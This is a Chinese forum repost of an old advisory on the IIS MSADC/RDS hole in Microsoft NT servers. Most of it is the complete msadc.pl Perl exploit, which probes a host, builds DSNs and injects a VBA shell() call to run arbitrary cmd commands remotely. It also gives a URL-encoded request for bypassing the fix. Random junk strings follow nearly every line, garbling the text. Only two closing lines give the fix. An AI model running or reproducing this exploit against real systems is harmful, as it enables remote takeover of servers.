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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) Q!e560@  
!mmMAsd,  
涉及程序: }'$PYAf6  
Microsoft NT server KhHFJo[8sf  
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描述:  8s0+6{vW  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 MEiP&=gX!  
O,Q.-  
详细: hJ}i+[~be  
如果你没有时间读详细内容的话,就删除: Rm} ym9  
c:\Program Files\Common Files\System\Msadc\msadcs.dll z~ cW,  
有关的安全问题就没有了。 N T`S)P*?  
1`&`y%c?B  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 hxO}'`:  
mLX/xM/T?/  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。  x]+PWk  
关于利用ODBC远程漏洞的描述,请参看: 5I622d  
s<9g3Gh  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 6l]X{A.  
A9$x8x*Lt  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 d~LoHp  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp ci~#G[_$S  
^`&'u_B!+  
这里不再论述。 r7m~.M+W"  
CJ IuMsZ  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: zw/AZLS  
;)(g$r^_i  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset D@O `"2  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 4ba*Nc*Yc  
Z[oF4 z   
2B ]q1>a!  
#将下面这段保存为txt文件,然后: "perl -x 文件名" m\L`$=eO8  
~dYCY_a  
#!perl w&p+mJL.  
# Y2u\~.;oq  
# MSADC/RDS 'usage' (aka exploit) script CL=%eSsuD  
# C0wtMD:G  
# by rain.forest.puppy ~]?:v,UIm(  
#  Aqy w  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 1)ue-(o5  
# beta test and find errors! uE-(^u  
4ax{Chn  
use Socket; use Getopt::Std; ~KBa-i%o  
getopts("e:vd:h:XR", \%args); kA:mB;:  
v/+ <YU  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; Re$h6sh  
G;Li!H  
if (!defined $args{h} && !defined $args{R}) { Nd~B$venh  
print qq~ s2; ~FK#/  
Usage: msadc.pl -h <host> { -d <delay> -X -v } uoS:-v}/Y~  
-h <host> = host you want to scan (ip or domain) G{U#9   
-d <seconds> = delay between calls, default 1 second IiU> VLa  
-X = dump Index Server path table, if available XB)D".\  
-v = verbose $|N6I  
-e = external dictionary file for step 5 ]juPm8eF  
X3.zNHN5  
Or a -R will resume a command session 0a~t  
m=dNJF  
~; exit;} !}(B=-  
9`tK 9  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; B~p%pT S+  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} !J$r|IX5  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} FlqGexY5  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); @!sK@&ow@%  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} d54iZ`  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } @(t3<g  
?Nos;_/  
if (!defined $args{R}){ $ret = &has_msadc; 8Zr;n`~  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} |7qt/z  
iQ'*QbP'Z  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" pRd.KY -<  
. "cmd /c "; z$~x 2<  
$in=<STDIN>; chomp $in; $R9D L^iD  
$command="cmd /c " . $in ; g6GkA.!X$  
%~u]|q<{  
if (defined $args{R}) {&load; exit;} ^P) f]GQx  
D|- ]<r1"  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; L5&M@YTH  
&try_btcustmr; 1- 2hh)  
n(: <pz  
print "\nStep 2: Trying to make our own DSN..."; mUYRioNj  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ZT0\V ]!B  
HI.*xkBXl&  
print "\nStep 3: Trying known DSNs..."; 66yw[,Y  
&known_dsn; -ss= c#  
US g"wJY  
print "\nStep 4: Trying known .mdbs..."; acd[rjeT  
&known_mdb; A;oHji#*  
ci0A!wWD  
if (defined $args{e}){ ['d9sEv.  
print "\nStep 5: Trying dictionary of DSN names..."; |Y9>kXMl  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 'p@f5[t  
slQn  
print "Sorry Charley...maybe next time?\n"; RRL{a6(?  
exit; u`pTFy  
t R^f]+Up  
############################################################################## LrB 0x>  
x~5uc$  
sub sendraw { # ripped and modded from whisker R~vGaxZ$  
sleep($delay); # it's a DoS on the server! At least on mine... d$t"Vp  
my ($pstr)=@_; Q:}]-lJg  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || MpV<E0CmE  
die("Socket problems\n"); /bo}I-<2  
if(connect(S,pack "SnA4x8",2,80,$target)){ Z)?$ZI@  
select(S); $|=1; <kh.fu@.Q  
print $pstr; my @in=<S>; -F5B Jk  
select(STDOUT); close(S); honh 'j  
return @in; $0])%   
} else { die("Can't connect...\n"); }} 6u[fCGi%  
3I6ocj [,  
############################################################################## }vndt*F   
(b&g4$!x&5  
sub make_header { # make the HTTP request =sJ?]U  
my $msadc=<<EOT R\j~X@vI  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 &K ~k'P~m  
User-Agent: ACTIVEDATA &g`&#IRz  
Host: $ip m,.Y:2?*V  
Content-Length: $clen ]aX@(3G1s  
Connection: Keep-Alive $:9t(X)H  
c*bvZC^6  
ADCClientVersion:01.06 je] DR~  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 '&IGdB I  
I"Oq< _  
--!ADM!ROX!YOUR!WORLD! c~ss^[qx|  
Content-Type: application/x-varg Et=Pr+Q{c  
Content-Length: $reqlen JZ5k3#@e  
N\{"&e  
EOT O]N/(pe:d  
; $msadc=~s/\n/\r\n/g; %a%xUce&-X  
return $msadc;} Y_Yf'z1>[  
X8C7d6ca  
############################################################################## I)HO/i 6>3  
c-w #`  
sub make_req { # make the RDS request <BR^Dv07U  
my ($switch, $p1, $p2)=@_; .. `I <2  
my $req=""; my $t1, $t2, $query, $dsn; #M-!/E  
SUS=sR/N  
if ($switch==1){ # this is the btcustmr.mdb query o[Iu9.zJpy  
$query="Select * from Customers where City=" . make_shell(); a5*r1,  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . +%dXB&9x|Z  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} >0^<<=m  
EX,>V,.UV  
elsif ($switch==2){ # this is general make table query EPm~@8@"j?  
$query="create table AZZ (B int, C varchar(10))"; : auR0FE  
$dsn="$p1";} *`>BOl+ro  
;[<(4v$  
elsif ($switch==3){ # this is general exploit table query =oAS(7o  
$query="select * from AZZ where C=" . make_shell(); `YhGd?uu$  
$dsn="$p1";} T#!>mL|9|  
g=Xf&}&=x  
elsif ($switch==4){ # attempt to hork file info from index server t"=5MaQk-  
$query="select path from scope()"; )+ .=z  
$dsn="Provider=MSIDXS;";} yRXML\Ge  
X%Ok ">  
elsif ($switch==5){ # bad query Be6Yh~m  
$query="select"; mU5Ox4>&9  
$dsn="$p1";} t.P@Ba^  
"\4W])30  
$t1= make_unicode($query); =2\2Sp  
$t2= make_unicode($dsn); +O}Ik.w  
$req = "\x02\x00\x03\x00"; F!+1w(b:  
$req.= "\x08\x00" . pack ("S1", length($t1)); n !)$e;l  
$req.= "\x00\x00" . $t1 ; R%UTYRLUn  
$req.= "\x08\x00" . pack ("S1", length($t2)); 0jTReY-W  
$req.= "\x00\x00" . $t2 ; z8\YMr 6o  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; q/O2E<=w*c  
return $req;} M2Q,&>M   
:_e[xB=Yy  
############################################################################## IeYYG^V<A  
g~hMOI?KK^  
sub make_shell { # this makes the shell() statement 2` o @L  
return "'|shell(\"$command\")|'";} B+W7zv  
v[dU UR f  
############################################################################## xf,[F8 2y  
3h7RQ:lUi  
sub make_unicode { # quick little function to convert to unicode ^Jp T8B}  
my ($in)=@_; my $out; ^exU]5nvz  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } us.#|~i<h  
return $out;} z,,"yVk`,  
>|taU8^|G}  
############################################################################## JFT$1^n  
z; GQnAG@  
sub rdo_success { # checks for RDO return success (this is kludge) g=Z52y`N<  
my (@in) = @_; my $base=content_start(@in); gk6f_0?X'  
if($in[$base]=~/multipart\/mixed/){ 1!z{{H;W  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 'Lu<2=a~  
return 0;} eiMP:  
*yBVZD|?H  
############################################################################## %8*:VR  
PaCC UF  
sub make_dsn { # this makes a DSN for us BA@E  
my @drives=("c","d","e","f"); 56;u 7  
print "\nMaking DSN: "; Oe5rRQ$O  
foreach $drive (@drives) { $d<NN2  
print "$drive: "; K43%9=sM  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . $DHE%IN`  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" q5;dQ8Y ?  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); eHr0],  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; b A+_/1C  
return 0 if $2 eq "404"; # not found/doesn't exist E)-;sFz  
if($2 eq "200") { 7zu\tCWb  
foreach $line (@results) { ]8A*uyi  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} P< OH{l  
} return 0;} E'x"EN  
M9iX_4  
############################################################################## #,#`< h!  
SBxpJsW >  
sub verify_exists { #pvq9fss,}  
my ($page)=@_; [F6 )Z[uG  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 'K7\[if{  
return $results[0];} En\@d@j<u  
D Q.4b  
############################################################################## A5nggg4  
u W]gBhO$O  
sub try_btcustmr { <K CI@  
my @drives=("c","d","e","f"); .W{CJh  
my @dirs=("winnt","winnt35","winnt351","win","windows"); QAkK5,`vV.  
|=0vgwd"S  
foreach $dir (@dirs) { 9pLe8D  
print "$dir -> "; # fun status so you can see progress x Lan1V  
foreach $drive (@drives) { ]0UYxv%]  
print "$drive: "; # ditto $@PruY3[  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; ;\K]~  
$reqlenlen=length( "$reqlen" ); TiD#t+g  
$clen= 206 + $reqlenlen + $reqlen; ~4 fE`-O  
[Hh*lKg  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); iT'doF  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} $_S-R 3L\  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} #)'Iqaq7  
)LGVR 3#  
############################################################################## . 1kB8&}  
/43l}6I  
sub odbc_error { gX" -3w  
my (@in)=@_; my $base; \c2x udU  
my $base = content_start(@in); cZVx4y%kz  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this O#D{:H_dD>  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ,C,nNaW  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; wO]e%BTO  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Sr \y1nt  
return $in[$base+4].$in[$base+5].$in[$base+6];} ;"M6}5dQ4  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ~vXbh(MX  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 8dR `T}  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 8&JB_%Gb  
y i$+rPF1  
############################################################################## |enLv12Gm  
w"{DLN[Qw  
sub verbose { Va )W[I  
my ($in)=@_; %`i*SF(gV  
return if !$verbose; 8\s#law  
print STDOUT "\n$in\n";} SJ]6_4=y*  
P!79{8  
############################################################################## (_ G>dP_  
 E0!d c  
sub save { [q|W*[B:@  
my ($p1, $p2, $p3, $p4)=@_; C>|.0:[%  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; h(=<-p @  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; A:m+v{*`4  
close OUT;}  qNJc*@s  
 SCfp5W7~  
############################################################################## 'vNju1sfk  
B@*b 9  
sub load { kWW2N0~$  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; -=5~h  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); ].Yz =:  
@p=<IN>; close(IN); q8P&rMwy  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); J8)l,J"  
$target= inet_aton($ip) || die("inet_aton problems"); P2vG)u  
print "Resuming to $ip ..."; X):7#x@uy  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; XP)^81i|  
if($p[1]==1) { 9)wYSz'  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; sSU|N;"Y  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; wG49|!l6T  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 254V)(t^QM  
if (rdo_success(@results)){print "Success!\n";} \-yI dKj  
else { print "failed\n"; verbose(odbc_error(@results));}} ].s;Yxz  
elsif ($p[1]==3){ >B6* `3v  
if(run_query("$p[3]")){ vv.E6D^x(  
print "Success!\n";} else { print "failed\n"; }} =mXC,<]  
elsif ($p[1]==4){ $wAR cS  
if(run_query($drvst . "$p[3]")){ Ba[,9l[  
print "Success!\n"; } else { print "failed\n"; }} W yM1s+@  
exit;} - VJx)g  
loIb}8  
############################################################################## vCP[7KhGj  
qb[hKp5K6  
sub create_table { IL|Q-e}Ol  
my ($in)=@_; Lf(( zk:pt  
$reqlen=length( make_req(2,$in,"") ) - 28; 3RaW\cWzg  
$reqlenlen=length( "$reqlen" ); _^W;J/He  
$clen= 206 + $reqlenlen + $reqlen; ;qaPK2 a8  
my @results=sendraw(make_header() . make_req(2,$in,"")); :(]fC~G~  
return 1 if rdo_success(@results); p q`uB  
my $temp= odbc_error(@results); verbose($temp); ,NQ!d4 ~D  
return 1 if $temp=~/Table 'AZZ' already exists/;  igo9~.  
return 0;} t,r]22I,`  
0 h A:=r  
############################################################################## >Lo\?X~  
>e {1e  
sub known_dsn { q;,lv3I  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go bkd`7(r  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", u@dvFzc  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", <<!fA ><W  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 9)7$UQY  
AJ%E.+@=r  
foreach $dSn (@dsns) { " AUSgVE+h  
print "."; u9~5U9]O%6  
next if (!is_access("DSN=$dSn")); S L 5k^|  
if(create_table("DSN=$dSn")){ G:1d6[Q5{  
print "$dSn successful\n"; ": vGs_$  
if(run_query("DSN=$dSn")){ y@!M<#SEzG  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 2{?]W/&fS  
print "Something's borked. Use verbose next time\n";}}} print "\n";} ;j%I1k%A  
b$klm6nMvm  
############################################################################## >OaD7  
d@ K-ZMq  
sub is_access { O2>c|=#  
my ($in)=@_; 5TJd9:\Af  
$reqlen=length( make_req(5,$in,"") ) - 28; bY#BK_8 :  
$reqlenlen=length( "$reqlen" ); Dy.i^`7\  
$clen= 206 + $reqlenlen + $reqlen; N" L&Z4Z  
my @results=sendraw(make_header() . make_req(5,$in,"")); l$&~(YE f  
my $temp= odbc_error(@results); Os<E7l zqO  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); F6}RPk\=i  
return 0;} t~(jA9n  
p=:Vpg<!  
############################################################################## zx%WV@O9  
r>(,)rs(l  
sub run_query { \'Ae,q|w  
my ($in)=@_; *,JE[M  
$reqlen=length( make_req(3,$in,"") ) - 28; @e<( o UE  
$reqlenlen=length( "$reqlen" ); k4iiL<|  
$clen= 206 + $reqlenlen + $reqlen; yU!1q}L!  
my @results=sendraw(make_header() . make_req(3,$in,"")); G$f%]A1  
return 1 if rdo_success(@results); ^:-GPr  
my $temp= odbc_error(@results); verbose($temp); 6C&&="uww  
return 0;} <kFLwF?PM'  
7}VqXUwabx  
############################################################################## :m<&Ff}  
rhc+tR  
sub known_mdb { |BFzTz,o  
my @drives=("c","d","e","f","g"); u0L-xC$L  
my @dirs=("winnt","winnt35","winnt351","win","windows"); YTa g|If  
my $dir, $drive, $mdb; ^($'l)I  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; d9$RmCHe}  
J[<Zy^"Y;  
# this is sparse, because I don't know of many jTR?!Mt0  
my @sysmdbs=( "\\catroot\\icatalog.mdb", ZMQ=D!kT  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", r>fGj\#R =  
"\\system32\\certmdb.mdb", {]+t<  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% aB6xRn9  
Y]SF0:v!n  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", o*H U^  
"\\cfusion\\cfapps\\forums\\forums_.mdb", esJ7#Gxt  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 1*=ev,Z  
"\\cfusion\\cfapps\\security\\realm_.mdb", j"nOxs  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", sA,bR|  
"\\cfusion\\database\\cfexamples.mdb", bvtpqI QZ  
"\\cfusion\\database\\cfsnippets.mdb", _H]^7`;  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", lBbb7*Ljt<  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", }AS/^E  
"\\cfusion\\brighttiger\\database\\cleam.mdb", ]QaKXg)3q  
"\\cfusion\\database\\smpolicy.mdb", `sKyvPtG  
"\\cfusion\\database\cypress.mdb", m'N AM%$}J  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", B)Y[~4o  
"\\website\\cgi-win\\dbsample.mdb", MOD&3>NI  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", =3X>Ur  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" M<Wi:r:  
); #these are just 9;#RzelSp  
foreach $drive (@drives) { AI2XNSV@Yl  
foreach $dir (@dirs){ OPNRBMD  
foreach $mdb (@sysmdbs) { I uxf`sd  
print "."; CI{2(.n4  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ S-Y{Vi"2  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; P{9:XSa%  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ R->x_9y-R  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; |4mvB2r  
} else { print "Something's borked. Use verbose next time\n"; }}}}} =#u4^%i)  
_uO$=4Sd  
foreach $drive (@drives) { ,m<YS MKX  
foreach $mdb (@mdbs) { 9InP2u\&:  
print "."; >T[/V3Z~K  
if(create_table($drv . $drive . $dir . $mdb)){ KdCrI@^  
print "\n" . $drive . $dir . $mdb . " successful\n"; Xd+H()nR  
if(run_query($drv . $drive . $dir . $mdb)){ vb=]00c  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; ~Y/A]N86,  
} else { print "Something's borked. Use verbose next time\n"; }}}} Em(_W5 ND{  
} fi HE`]0  
{<ShUN  
############################################################################## Rv&"h_"t  
jg?UwR&  
sub hork_idx { 4 "2%mx:  
print "\nAttempting to dump Index Server tables...\n"; bX$z)]KKu  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; WRD z*Zf  
$reqlen=length( make_req(4,"","") ) - 28; {c*$i^T  
$reqlenlen=length( "$reqlen" ); @l CG)Ix<  
$clen= 206 + $reqlenlen + $reqlen; 2uEI@B  
my @results=sendraw2(make_header() . make_req(4,"","")); T!H(Y4A  
if (rdo_success(@results)){ } [#8>T  
my $max=@results; my $c; my %d; ;JkIZ8!  
for($c=19; $c<$max; $c++){ h*VDd3[#  
$results[$c]=~s/\x00//g; j~N*TXkC  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; A1p~K*[[  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; %f'pAc|#  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; f![] :L  
$d{"$1$2"}="";} dT0W8oL  
foreach $c (keys %d){ print "$c\n"; } sLA.bp.O  
} else {print "Index server doesn't seem to be installed.\n"; }} 4<($ZN8  
^^v3iCT  
############################################################################## J,Ki2'=  
~ =u8H  
sub dsn_dict { M Z"V\6T]  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 6 >)fNCe`  
while(<IN>){ +DRt2a #  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; FXr^ 4B}  
next if (!is_access("DSN=$dSn")); E.*hY+kGZ  
if(create_table("DSN=$dSn")){ ~Fb@E0 }!  
print "$dSn successful\n"; |X=p`iz1&  
if(run_query("DSN=$dSn")){ rpiuFst  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { QKP #wR  
print "Something's borked. Use verbose next time\n";}}} =wX;OK|U(^  
print "\n"; close(IN);} 9CS" s_  
*B3f ry  
############################################################################## ?c?@j}=?yY  
qR.FjQOvn  
sub sendraw2 { # ripped and modded from whisker C?|sQcCE  
sleep($delay); # it's a DoS on the server! At least on mine... }p?,J8=-  
my ($pstr)=@_; l?)>"^  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ahXcQ9jzFi  
die("Socket problems\n"); KRxJ2  
if(connect(S,pack "SnA4x8",2,80,$target)){ G|jHic!  
print "Connected. Getting data"; >l 0aME@-0  
open(OUT,">raw.out"); my @in; (/uN+   
select(S); $|=1; print $pstr; H}r]j\  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} h> bjG  
close(OUT); select(STDOUT); close(S); return @in; .h <=C&Yg  
} else { die("Can't connect...\n"); }} IER;d\_V<  
;cVK2'  
############################################################################## igQzL*X  
j(y<oxh  
sub content_start { # this will take in the server headers #MY oy7=  
my (@in)=@_; my $c; i]<@  
for ($c=1;$c<500;$c++) { GgE g(AT  
if($in[$c] =~/^\x0d\x0a/){ fL| 9/sojz  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } yr+QV:oVA  
else { return $c+1; }}} zmQQ/ 7K  
return -1;} # it should never get here actually 8(n>99 VVK  
'ij+MU 1  
############################################################################## ,IhQ%)l  
Z><+4 '  
sub funky { C5(XZscq  
my (@in)=@_; my $error=odbc_error(@in); # fF5O2E'3  
if($error=~/ADO could not find the specified provider/){ ?xwi2<zz  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; y" H5>  
exit;} .*N,x(V  
if($error=~/A Handler is required/){ }uMu8)Q  
print "\nServer has custom handler filters (they most likely are patched)\n"; =EVB?k ,  
exit;} OF*E1B M  
if($error=~/specified Handler has denied Access/){ D% *ww'mt0  
print "\nServer has custom handler filters (they most likely are patched)\n"; gA=Pz[i)p  
exit;}} s[7$%|~W  
h*^JFZb  
############################################################################## ?MywA'N@x  
NCg("n,jx  
sub has_msadc { 2XyyU}.$  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); Bj{J&{  
my $base=content_start(@results); |34k;l]E  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); 2. nT k   
return 0;} |m\7/&@<  
" :e <a?  
######################## w)<.v+u.Y  
=,*/Ph&  
15_"U+O(/  
解决方案: @B0fRG y  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll @8\0@[]  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 .HTRvE`X  
.`KzA]&#  
拿出来充数 哈哈
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